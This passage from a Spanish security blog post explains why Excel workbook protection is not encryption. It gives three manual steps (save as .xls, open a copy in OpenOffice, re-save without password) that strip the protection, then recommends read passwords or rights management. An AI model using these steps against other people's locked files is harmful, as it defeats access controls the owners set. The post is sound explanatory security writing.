Como una medida alternativa y conjunta, se puede seleccionar la opción de protección de libro. Si se usa, el libro va a ser cifrado, con lo que ya no será posible acceder al contenido de los ficheros xml.


Figura 9: Protección de libro


Figura 10: Documento xlsx cifrado

Sin embargo, al poder abrir el documento, se puede saltar la protección, ya que esa protección es a nivel protección del documento y no de cifrado de lectura, así que, haciendo unos sencillos pasos se omite.

1.- Primero se guarda el documento como una versión anterior, es decir, como fichero xls de Excel 97/2000/XP/2003.

2.- Después se abre con OpenOffice que nos informa de que el libro viene protegido por password, al mismo tiempo que pregunta si se quiere abrir de lectura – no se modificaría el fichero – o abrir una copia para poder modificarlo. Lógicamente elegimos abrir una copia.


Figura 11: Abrir una copia del documento

3.- Una vez abierto, basta volver a guardarlo como libro de xls de Excel 97/2000/XP/2003. Al hacerlo aparecerá la siguiente alerta y, lógicamente, seleccionamos la opción de guardar sin password y listo.


Figura 12: Guardar el documento sin password

Si no has tenido problemas en las conversiones de xlsx a xls en el Excel 2007 ni al leer el xls en OpenOffice, entonces el documento se ha podido abrir, tal y como estaba al principio pero sin ninguna protección.

Final

Si no deseas que nadie lea el fichero, entoces guarda el fichero con contraseña de lectura. Sólo se podrá abrir si tienen la password o utilizando un sistema de fuerza bruta, así que pon la password lo más compleja que puedas.

Si deseas que lo puedan abrir, pero quieres limitar las acciones que hagan con él, entonces no te queda más remedio que ir a las Information Rights Management y gestionar los privilegios del documento asociado.

Saludos Malignos!

Entrada destacada

+300 referencias a papers, posts y talks de Hacking & Security con Inteligencia Artificial

Hace un mes comencé a recuperar en un post mi interés en los últimos años, donde he publicado muchos artículos en este blog , y he dejado mu...

Entradas populares